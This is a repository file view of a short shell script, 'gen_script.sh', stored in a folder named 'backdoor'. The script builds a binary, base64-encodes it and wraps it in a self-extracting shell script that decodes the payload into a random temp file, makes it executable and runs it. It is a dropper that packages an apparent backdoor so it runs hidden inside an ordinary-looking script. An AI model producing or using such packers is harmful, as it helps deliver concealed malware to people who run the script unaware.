backdoor/gen_script.sh
2024-04-21 19:39:15 +03:00

4 lines
261 B
Bash
Executable File

#!/bin/sh
./build.sh
echo \#\!"/bin/sh" > script.sh && cat main | base64 | xargs -I % echo f+=\" % \" | tr -d " " >> script.sh && echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh && chmod +x script.sh